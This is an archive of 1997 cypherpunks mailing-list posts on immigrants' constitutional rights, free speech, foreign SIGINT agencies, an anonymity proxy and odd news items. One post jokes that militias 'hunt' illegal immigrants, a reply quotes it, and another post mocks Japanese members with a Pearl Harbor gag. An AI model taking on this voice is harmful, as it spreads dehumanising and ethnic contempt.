To: Mikhael Frieden <declan@well.com>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <3.0.16.19971118230627.0aef514c@pop.mindspring.com>
Message-ID: <v03102806b09806b6cf7a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:34 PM -0700 11/18/97, Mikhael Frieden wrote:

>        The US currently has laws governing foreign ownership of
>publications in the US. Ted Turner had to become a citizen. Don't remember

Yes, this was a major hurdle for Ted Turner. Being born in the Confederacy,
renouncing his citizenship and pledging allegiance the Yankees was indeed a
major move on his part.

(He was even forced to rename the Confederate News Network to its current,
more politically correct, name.)


--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 19 Nov 1997 12:25:37 +0800
To: Mikhael Frieden <declan@well.com>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <3.0.16.19971118231927.0dc71f6e@pop.mindspring.com>
Message-ID: <v03102807b098087b39e3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:34 PM -0700 11/18/97, Mikhael Frieden wrote:
>At 06:53 PM 11/18/97 -0600, William H. Geiger III wrote:

>>I think that there is plenty of case law of extending constutional
>>protections to non-citizens. One that comes to mind were the rulings
>>against California inwhich the courts ruled the they were obligated to
>>provide schooling and social services to illegal aliens (a really fucked
>>rulling IMNSHO but if some good can come out of it no sense not making use
>>of it).
>
>        In a much more fundamental sense, if they were not given
>constitutional protections they really could be rounded up and bussed
>across the border.

And what would be wrong with this?

If they're not citizens, and not on a valid visa, they have no legal right
to be in the U.S.

(At a more abstract level, I support the idea of completely open borders,
provided we end all forcible contributions to welfare, medical care,
schools, job quotas, etc. But so long as taxpayers are paying 60% of
everything earned, as I am, to support others, the rules about entry to the
U.S. must be enforced.)

Ironically, the authorities are refusing to enforce the immigration laws.
This is why the militias here in California have been forced to deal with
illegal immigrants in the only way left to them. (There's a hunt in
Imperial Valley this coming Saturday.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 19 Nov 1997 12:28:22 +0800
To: cypherpunks@Algebra.COM
Subject: Banned smells
In-Reply-To: <34725441.61B8@dev.null>
Message-ID: <v03102808b0980af7cf33@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:51 PM -0700 11/18/97, TruthMonger wrote:
>* The University of Minnesota was seeking more "specialists" to
>work on its three-year, $390,000 program to set an "odor emissions
>rating system" for regulating the state's 35,000 animal feedlots,
>according to an August Minneapolis Star Tribune story.  Having
>judges, or government officials, go sniff the feedlot apparently
>would give insufficient due process of law; rather, a panel of
>sniffers will develop objective standards on the types of odors and
>their strength.  Already 35 people are employed and have begun
>sniffing the nearly-200 chemical components of cow and pig
>manure in order to categorize them for the formal state stench test.

 This is, pardon me, a minor issue compared to other "smellist"
legislation. Here in the People's Republic of Kalifornia, some areas have
been declared "fragrance free." It's a crime to enter these fragrance-free
zones with banned smells.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 19 Nov 1997 12:34:26 +0800
To: Declan McCullagh <aleph@cco.caltech.edu>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <3.0.3.32.19971118163834.00ca77e0@pop-server.caltech.edu>
Message-ID: <v03102809b0980bf30a9e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:54 PM -0700 11/18/97, Declan McCullagh wrote:
>Sorry. I was unclear. I was comparing U.S. citizens with citizens of
>another country who are living in that country.
>
>If a U.S. citizen living in the U.S. is running an ISP, I would argue from
>principle that he has a right to distribute writings (I like Jeanne's
>bookstore analogy) penned by citizens of another country.

 This is a slam dunk truth. This is black letter law.

I'm surprised this is even being debated.

"Congress shall make no law.." does not mean that government gets to ban
sales and distritution of works by Tolstoy, Zola, Stendahl, Marx, and so on.

Get real.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 19 Nov 1997 11:18:08 +0800
To: cypherpunks-j@htp.org
Subject: Re: [cpj:250] (fwd) I-D ACTION:draft-ietf-openpgp-formats-00.txt
In-Reply-To: <9711190057.AA00121@crear_vip.nds.co.jp>
Message-ID: <34725193.529B@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Intercepeted email:

Makoto MITSUI wrote:
> $B$O$8$a$^$7$F!";00f$H$$$$$^$9!#(J
> 
> --/ Hayashi_Tsuyoshi <take@barrier-free.co.jp> /-- $B$5$s$N(J
> $B!X(J[cpj:248] (fwd) I-D ACTION:draft-ietf-openpgp-formats-00.txt$B!Y$K$D$$$F(J...
> 
>  >OpenPGP $B$N%$%s%?!<%M%C%H%I%i%U%H$,=P$?!"$H$$$&$*CN$i$;$,(J
>  >$B2s$C$F$-$^$7$?!#(J
> 
> $B$9$_$^$;$s(J(^^;
> 
> $B$I$J$?$+(J PGP $B$H(J PGP/MIME $B$H(J OpenPGP $B$N0c$$$d(J
> $B$I$N$h$&4XO"$,$"$k$N$+65$($FD:$1$J$$$G$7$g$&$+!)(J(^^;
> 
>  >$B<B:]$N%I%i%U%H$O>e5-(J ftp $B$GF~<j$G$-$^$9!#0l1~(J
>  >  http://www.barrier-free.co.jp/homes/PGPJ/
>  >
>  >$B$K$bCV$-$^$7$?!#$I$J$?$+K]Lu$7$F$$$?$@$1$k$H=u$+$k$N$G$9(J
>  >$B$,(J...$B!#(J
> 
> ('')(..)
> 
> --
>  Makoto MITSUI
>  e-mail mitsui@nds.co.jp, m-mitsui@imasy.or.jp
>  Key fingerprint = 82 CB 8D 9C A8 89 1E 53  45 51 E2 C5 DB 8A F0 4B

Translation:
Pearl Harbor Computers...Dec. 7th...Code Phrase: "Nuke Tim C. May"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 19 Nov 1997 11:21:53 +0800
To: cypherpunks@toad.com
Subject: But will it work for Congress?
Message-ID: <34725441.61B8@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



* The University of Minnesota was seeking more "specialists" to
work on its three-year, $390,000 program to set an "odor emissions
rating system" for regulating the state's 35,000 animal feedlots,
according to an August Minneapolis Star Tribune story.  Having
judges, or government officials, go sniff the feedlot apparently
would give insufficient due process of law; rather, a panel of
sniffers will develop objective standards on the types of odors and
their strength.  Already 35 people are employed and have begun
sniffing the nearly-200 chemical components of cow and pig
manure in order to categorize them for the formal state stench test. 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To read these News of the Weird newspaper columns from the past six
months, go to http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 19 Nov 1997 12:34:27 +0800
To: Jim Burnes <jim.burnes@ssds.com>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <Pine.LNX.3.95.971118181728.23634B-100000@westsec.denver.ssds.com>
Message-ID: <199711190422.XAA14960@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.LNX.3.95.971118181728.23634B-100000@westsec.denver.ssds.com>, on
11/18/97 
   at 06:28 PM, Jim Burnes <jim.burnes@ssds.com> said:

>Interesting.  I was under the opinion that schooling and "social
>services" were no more constitutional rights then, say, free food or a
>pot to piss in.

Well I have done some more research on this.

Seems that there is a SC decision in Plyler v Doe 1982 in which the courts
have ruled that a child (citizen or not) has the *right* to public
education. This comes out of a Texas case not too differnt from Prop 187
in California.

The proposition I mentioned in my last post was Prop 187.

I seem to be having some difficulty in finding the actual documents
regarding this case and subsequent court rulings (opinions on it I can
find by the truckload).

I'll keep searching but if anyone has a pointer to where this info can be
found it would be appreciated.

OK I found Plyler v Doe at:

http://caselaw.findlaw.com/cgi-bin/getcase.pl?court=US&vol=457&invol=202

I haven't had a chance to read through it yet.

It seems that this case is one of the main attacks against Prop 187 which
AFAIK is still in the courts.

Here is a ruling of the 9th district by Judge Mariana R. Pfaelzer:

http://128.120.36.171/By-Month/MN-Vol-3-96/Prop_187_Opinion.html

Appendix A of this ruling has the text of Prop 187.

I still have not been able to find out where this thing is in the court
system.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNHJpRI9Co1n+aLhhAQEnKAQAwxxik4Ear4xUU68Cy4dziUuf6nFxc8u3
ldSjC62r5okgDWMmfvOyBjp6bTv1Svencxqw+tMUpI6Eek/C1ibcWJP14wmiDEs6
1+Bvw7aS27umtEz6ZDqCMA+YS677uWEXQUjBARbu+pW0MQePe65VfpZbErv2G9IM
IfXEjyRaZQI=
=KM6s
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 19 Nov 1997 11:24:21 +0800
To: cypherpunks@toad.com
Subject: But, do they insure Japenese CypherPunks...?
Message-ID: <3472553F.4683@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



* In February, members of the West Palm Beach, Fla., Pit Bull
Terrier Club received notices that some insurance companies would
not renew their homeowner policies because that breed of dog was
responsible for an increasing number of liability claims.  Club officer
Linda Kender termed such insurance company stereotyping "dog
racism." 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To read these News of the Weird newspaper columns from the past six
months, go to http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 19 Nov 1997 11:25:15 +0800
To: cypherpunks@toad.com
Subject: Glad I could clear that up for everyone...
Message-ID: <347255D4.66F2@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



* The Dutch Federation for Military Personnel union (which 20
years ago won the right for soldiers to wear their hair long)
announced in April it would back a female recruit's desire to wear a
tongue ring.  The code of conduct, the union said, bans jewelry "on
the head," not "in the head." 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To read these News of the Weird newspaper columns from the past six
months, go to http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 19 Nov 1997 11:26:09 +0800
To: cypherpunks@toad.com
Subject: Password Snarfing
Message-ID: <34725680.49A1@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



* Life Imitates TV: (1) A Bangkok hotel worker was convicted in
July of stealing from guests' safe-deposit boxes by rubbing his nose
oil onto the buttons so he could check later to see which buttons
had been pushed by the guest to open the safe.  He said he learned
the trick from watching the TV show "MacGyver."

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To read these News of the Weird newspaper columns from the past six
months, go to http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 19 Nov 1997 11:21:46 +0800
To: cypherpunks@toad.com
Subject: While we waste our time discussing crypto issues...
Message-ID: <3472571C.451@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



* News of the Weird reported in 1994 on the controversy over who
owned the world's largest cow hairball, but it now appears that an
also-ran at that time, Mike Canchola of Sterling, Colo., is now
number one.  In 1994 a Garden City, Kan., historical society had a
37-incher, but Canchola has since come across one measuring 43.3
inches around.  In the course of his work at a local beef plant,
Canchola plucks out the non-championship hairballs, dries them,
has colleague Frank Alcala paint faces or scenery on them, and sells
them for $50 each. 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To read these News of the Weird newspaper columns from the past six
months, go to http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 19 Nov 1997 13:22:44 +0800
To: cypherpunks@toad.com
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <3.0.16.19971118230721.0aefda2e@pop.mindspring.com>
Message-ID: <19971118210857.62464@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Nov 18, 1997 at 11:34:20PM -0600, Mikhael Frieden wrote:
> At 02:35 PM 11/18/97 -0800, Lizard wrote:
> >At 05:22 PM 11/18/97 -0500, Declan McCullagh wrote:
> >>[Forwarded with permission, first few grafs deleted by request. --Declan]
> >>
> >>Date: Mon, 17 Nov 1997 10:40:22 -0800 (PST)
> >>From: Margarita Lacabe <marga@derechos.org>
> >>Subject: UN Conference
> >>
> ><Much deleted>
> >> There was also a guy from Indigienous World Association who
> >>missunderstood pretty much everything said, but was very passionate.
> >
> >Well, if that isn't a summary of 99% of non-netizens, I don't know what is...> 
>         And 98% of netizens. 

Except for the "passionate" part, of course.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Colin A. Reed" <aleph@cco.caltech.edu>
Date: Wed, 19 Nov 1997 13:31:19 +0800
To: Tim May <declan@well.com>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <3.0.16.19971118231927.0dc71f6e@pop.mindspring.com>
Message-ID: <3.0.3.32.19971118211756.00c91a60@pop-server.caltech.edu>
MIME-Version: 1.0
Content-Type: text/plain



At 08:12 PM 11/18/97 -0700, Tim May wrote:
>At 10:34 PM -0700 11/18/97, Mikhael Frieden wrote:
>>At 06:53 PM 11/18/97 -0600, William H. Geiger III wrote:
>
>>>I think that there is plenty of case law of extending constutional
>>>protections to non-citizens. One that comes to mind were the rulings
>>>against California inwhich the courts ruled the they were obligated to
>>>provide schooling and social services to illegal aliens (a really fucked
>>>rulling IMNSHO but if some good can come out of it no sense not making use
>>>of it).
>>
>>        In a much more fundamental sense, if they were not given
>>constitutional protections they really could be rounded up and bussed
>>across the border.
>
>And what would be wrong with this?
>
>If they're not citizens, and not on a valid visa, they have no legal right
>to be in the U.S.
>
I think the most important constitutional protection is that of
due-process.  Thus we need to have a court proceeding to determine that
they really are in the US without a valid visa before we can bus them out.  

>(At a more abstract level, I support the idea of completely open borders,
>provided we end all forcible contributions to welfare, medical care,
>schools, job quotas, etc. But so long as taxpayers are paying 60% of
>everything earned, as I am, to support others, the rules about entry to the
>U.S. must be enforced.)
>
>Ironically, the authorities are refusing to enforce the immigration laws.
>This is why the militias here in California have been forced to deal with
>illegal immigrants in the only way left to them. (There's a hunt in
>Imperial Valley this coming Saturday.)
>
>--Tim May
>
>The Feds have shown their hand: they want a ban on domestic cryptography
>---------:---------:---------:---------:---------:---------:---------:----
>Timothy C. May              | Crypto Anarchy: encryption, digital money,
>ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
>W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
>Higher Power: 2^2,976,221   | black markets, collapse of governments.
>"National borders aren't even speed bumps on the information superhighway."
>
>
>
>
>


                             -Colin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 19 Nov 1997 13:27:12 +0800
To: Joichi Ito <cypherpunks@cyberpass.net
Subject: Re: Exporting crypto from Japan
In-Reply-To: <v03102823b094cab52ad8@[207.167.93.63]>
Message-ID: <v0310280ab09818cc0f2e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:43 PM -0700 11/16/97, Joichi Ito wrote:

>who also have domestic political strength. Also, I looked into the "Chobetsu"
>that you refered to in a previous message and I think you are refering to the
>"Naikaku Chosashitsu Betsushitsu" which is the group that engages in the often
>rather shady "super-legal" actions like stamping out political parties and
>going after cults. I don't think they have any direct involvement in the
>current
>RSA issue and I wouldn't call them "Japan's NSA." They are more like some
>kind of secret police. (I can already image the kind of messages I'm going to
>receive on this list for engaging with you at this level of dialog, but for
...

As I said earlier, Richelson's comprehensive study of foreign intelligence
agencies describes it as Chobetsu, as does Hersh. Perhaps there is an issue
of transliteration here?

I found one of my Web page bookmarks, http://www.onestep.com/milnet/iagency.htm

and it lists various SIGINT agencies. As these may be of interest to
others, I will include the full list below, including the description of
Chobetsu:


Principle SIGINT Collection Organizations


Mnemonic   Service Name                     Branch
Country
AFMBW      Amt Fur Frenmeldwesen            Branch of the              West
             Bundeswehr (Office for         Bundeswher                 Germany
             Radio Monitoring)

AMAN       Agaf Modiin (Intelligence        Intelligence Corps,        Israel
             Branch of Israeli Defense      SIGINT
             Forces)

Chobetsu   Ground Self-Defense Forces       Investigation              Japan
                      Division,
                      Second Section,
                      Annex Chamber

CSE        Communications Security          Under the Department       Canada
             Establishment                  of Defense

DGSE       Direction Generale de            Information                France
             la Securite Exterieure         Directorate,
                                            Technical Means
                                            Branch, and
                                            Evaluations,
                                            Prospectives,
                                            Orientation Branch

GCHQ       General Communications           Directorate of             UK
           Headquarters                     SIGINT Operations

GCR        Groupement de Communications     -                          France
             (Radio-Electric
             Communications Group)

HSR        Hlavni Sprava Rozvedky           Directorate D              Czecho.
             (Main Directorate of the       Third Department
             General Staff)

NSA        National Security Agency         Office of SIGINT           US
                                            (P Group), Analysis
                                            of SIGINT

SIOS       Secondo Reparto (Second          Under each of Navy         Italy
             Department                     Army, and Air Force
                                            Intelligence

SISMI      Servizio perle Informazioni      ?                          Italy
             e la Sicurezza Militaire
             (Service for Information and
             Military Security)

TD         Technical Department             ?                          China



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Wed, 19 Nov 1997 13:36:21 +0800
To: gnu@toad.com
Subject: AT&T Research "Crowds" -- Perl web anonymity proxy -- needs users
Message-ID: <199711190530.VAA02158@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



It has a screwy "non-commercial use only, AT&T gets everything, you
get nothing" license, but otherwise it looks interesting.

	John

From: Avi Rubin <rubin@research.att.com>

John,

You may remember that at Crypto, I described the Crowds system to you.
The system is now robust and up and running, and we have ported it to
windows and unix platforms, so just about anyone should be able to use
it. In fact, if there is such a thing as Perl for macintosh, I'm sure
it would work on that platform too.

We are very interested in getting more users of our system. As it is
intended to provide privacy to web users, I thought that perhaps it is
something that you and EFF would be interested in. Do you think you
could put a link to the Crowds page on the EFF web site?  Anything
else you can do to help increase the usage would be great, because our
system has the property that the more poeple use it, the more secure
it is. Let me know if you have any questions.

The Crowds page is:  http://www.research.att.com/projects/crowds

Thanks,
Avi

--

*********************************************************************
Aviel D. Rubin                                 rubin@research.att.com
Secure Systems Research Dept.                Adjunct Professor at NYU
AT&T Labs - Research
180 Park Avenue                   http://www.research.att.com/~rubin/
Florham Park, NJ 07932-0971                    Voice: +1 973 360-8356
USA                                            FAX:   +1 973 360-8809

   --> Check out http://www.clark.net/pub/mjr/websec/ for a new
       book on web security (The Web Security Sourcebook).
*********************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 19 Nov 1997 13:49:15 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <v03102807b098087b39e3@[207.167.93.63]>
Message-ID: <v0310280cb0981af490ec@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:58 PM -0700 11/18/97, William H. Geiger III wrote:

>Well at one time there was a demand for cheap labor by US industry that
>supported the infux of immagrents. In modern times their is no such demand
>( if there were we have plenty of bums on welfare that can fill this need)

This is actually not the case. I live between Santa Cruz and Salinas and
Monterey, home to some of the most fertile soil in the world (most of the
lettuce, strawberries, artichokes, and other vegetables consumed in the
U.S. is/are grown within 30 miles of me). Every day I see stoop laborers,
up from Jalisco or Michuchan or other provinces, glad to make more in a few
months here than they make in a few years back in Mexico.

And every day I see bums, drifters, winos, layabouts, and derelicts,
holding up their pathetic "Will work for food" signs. (Which are lies, of
course. Anyone trying to get some decent work out of these bums will find
zilch.)

I saw a great bumper sticker on the back of a truck filled with spray
painting gear. Driven by a black guy, interesting enough. It said:

"I _do_ work for food."


>but there is a demand for cheap votes. The current Statest have been
>watching their power base erroding over the years as more and more
>Americans refuse to beleive thier socialist lies. The only way that they
>can continue in power is to import new voters who are easier to hoodwink
>and cheaper to buy. Confermation of this policy can be seen in the
>behavior of the INS durring the last election cycle where large numbers of
>immigrants were naturalized before the elections.

By the way, this massive purchase of votes is now being rolled back.
Immigration is planning to reverse many of these "instant citizenship"
deals. Too late to have an effect on Clinton's '96 election, but nothing
could have saved Dole.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 19 Nov 1997 14:29:00 +0800
To: "William H. Geiger III" <jim.burnes@ssds.com>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <Pine.LNX.3.95.971118181728.23634B-100000@westsec.denver.ssds.com>
Message-ID: <v03110757b0982d422e8b@[207.94.250.122]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:51 PM -0800 11/18/97, William H. Geiger III wrote:
>Oh I agree with you here that there is not constutional right to social
>services. I wish I had a reference to the court decisions on this. It was
>a year or two ago regarding one of the balot propositions in California
>that would cut off various social services to illegal aliens. I am going
>off memory here but I don't think it ever got all the way to the SC. If
>anyone has a reference to this case please post.

It is still grinding thru the courts.  Governor Pete Wilson is still
pushing the cut off.


-------------------------------------------------------------------------
Bill Frantz       | One party wants to control | Periwinkle -- Consulting
(408)356-8506     | what you do in the bedroom,| 16345 Englewood Ave.
frantz@netcom.com | the other in the boardroom.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 19 Nov 1997 14:05:15 +0800
To: "Colin A. Reed" <declan@well.com>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <v03102807b098087b39e3@[207.167.93.63]>
Message-ID: <v0310280eb0981fb7af46@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:17 PM -0700 11/18/97, Colin A. Reed wrote:

>I think the most important constitutional protection is that of
>due-process.  Thus we need to have a court proceeding to determine that
>they really are in the US without a valid visa before we can bus them out.

It's called a "Green Card," popularly.

(Remember those, "Aliens, remember that you must report to the Alien
Landing Terminal every January.")

No court proceeding is needed to deport illegal aliens, save for a
perfunctory classification hearing to determine whether or not they have a
Green Card.

I hope you were not suggesting a long drawn-out court case, with lawyers
paid for by the taxpayers, to decide that which is patently obvious?

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 19 Nov 1997 11:11:53 +0800
To: "Colin A. Reed" <aleph@cco.caltech.edu>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <v0300780db097ccdea2d8@[168.161.105.216]>
Message-ID: <v03007802b09803dce3d1@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



Sorry. I was unclear. I was comparing U.S. citizens with citizens of
another country who are living in that country.

If a U.S. citizen living in the U.S. is running an ISP, I would argue from
principle that he has a right to distribute writings (I like Jeanne's
bookstore analogy) penned by citizens of another country.

-Declan

At 16:38 -0800 11/18/97, Colin A. Reed wrote:
>At 05:59 PM 11/18/97 -0500, Declan McCullagh wrote:
>>My take on it is that overseas citizens have no Constitutional rights.
>>However ISPs in the U.S. have rights that U.S. laws recognize and protect.
>>
>Actually I seem to remember that U.S. citizens have full constitutional
>protection (only from the U.S. government of course) no matter where they
>reside, non-citizens have full protection within the borders of the U.S.,
>and non-citizens have partial protection outside the borders of the U.S.  I
>don't remember how much is covered by the last though.
>
>>If a U.S. law prevented an ISP from contracting to put a web site online,
>>it would be like a law that prevented a U.S. book company from publishing a
>>book penned by a German. Or the Netly News from publishing an article
>>written by our London correspondent. Such a law would be facially
>>unconstitutional.
>>
>>Perhaps the analogy between an ISP and publisher is inexact, but that's the
>>type of analysis I'd pursue.
>>
>>-Declan
>>
>>
>>At 23:33 +0100 11/18/97, Peter Herngaard wrote:
>>>Does the First Amendment prevent the Congress from passing
>>>a law that would make it illegal for anyone who is outside the United
>>>States to
>>>set up a web site in the U. S. in violation of a local speechcode?
>>>For example, a German nazi organization could establish a WWW site in
>>>California out of reach
>>>of German law.
>>>Would it be constitutional to make a law barring  foreign citizens from
>>>violating the speech
>>>codes of their home countries using a U. S. ISP?
>>
>>
>>
>>
>>
>
>
>                             -Colin







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 19 Nov 1997 06:22:49 +0800
To: rdl@mit.edu
Subject: Ryan's eternity DDS (Re: technical issues of the list)
In-Reply-To: <199711181854.NAA08249@tana.mit.edu>
Message-ID: <199711182158.VAA01101@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Ryan Lackey <rdl@mit.edu> writes:
> I'm pretty sure all 5 years fit on one cd-rom -- I've been using 4
> years as an eternity dds dataset, along with some other stuff, and I
> think it is less than 500mb, although one of the problems with my
> current eternity file system under linux is that there is no way of
> telling how big a directory is (yay VFS kludges).

Sounds like you are building a file system interface to a distributed
data store, cool.  Want to give us a brief description of what it does?
I know I'd be interested, I'm sure others would too.

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Randall Farmer <rfarmer@HiWAAY.net>
Date: Wed, 19 Nov 1997 12:11:17 +0800
To: 3umoelle@informatik.uni-hamburg.de
Subject: Re: Stylometry
Message-ID: <Pine.OSF.3.96.971118211117.5311A-100000@fly.HiWAAY.net>
MIME-Version: 1.0
Content-Type: text/plain



Here (here being at the bottom of the message :) is the code for the stylometry
program. Note that I specified that the stylometry also involved a calculator
-- that's because the shell script only processes your data to get the numbers
you need out; the tough part is still up to you. 

After it runs, you have 

